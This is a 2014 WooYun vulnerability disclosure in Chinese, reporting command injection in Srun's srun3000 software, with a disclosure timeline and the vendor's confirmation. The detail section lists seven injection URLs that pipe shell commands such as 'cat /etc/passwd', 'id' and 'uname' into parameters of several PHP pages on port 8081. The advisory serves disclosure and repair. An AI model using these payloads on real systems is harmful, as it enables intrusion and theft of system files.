漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-055308
漏洞标题：深澜软件漏洞srun3000命令执行集合
相关厂商：srun.com
漏洞作者： itleaf
提交时间：2014-04-02 15:40
修复时间：2014-07-01 15:40
公开时间：2014-07-01 15:40
漏洞类型：命令执行
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-02： 细节已通知厂商并且等待厂商处理中
2014-04-03： 厂商已经确认，细节仅向厂商公开
2014-04-06： 细节向第三方安全合作伙伴开放
2014-05-28： 细节向核心白帽子及相关领域专家公开
2014-06-07： 细节向普通白帽子公开
2014-06-17： 细节向实习白帽子公开
2014-07-01： 细节向公众公开
简要描述：
需登录
详细说明：
http://target.com:8081/mem_user.php?action=search&user_login_name=|cat%20/etc/passwd
http://target.com:8081/log.php?uname=1|cat%20/etc/passwd%20%3E/tmp/12.txt
http://target.com:8081/online_user.php?uname=|cat%20/etc/passwd
http://target.com:8081/online_user.php?ip=|uname
http://target.com:8081/online_user.php?flux=|id
http://target.com:8081/online_user_rad.php?flux=|id
http://target.com:8081/show_flux.php?eth=|id%20%3E%20/tmp/22.txt
漏洞证明：
示例：
修复方案：
无
版权声明：转载请注明来源 itleaf@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-04-03 08:58
厂商回复：
8081表单过滤问题，已经安排修复漏洞，非常感谢乌云指出。
最新状态：
暂无
漏洞评价：
评论
-
简单粗暴的命令执行
( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)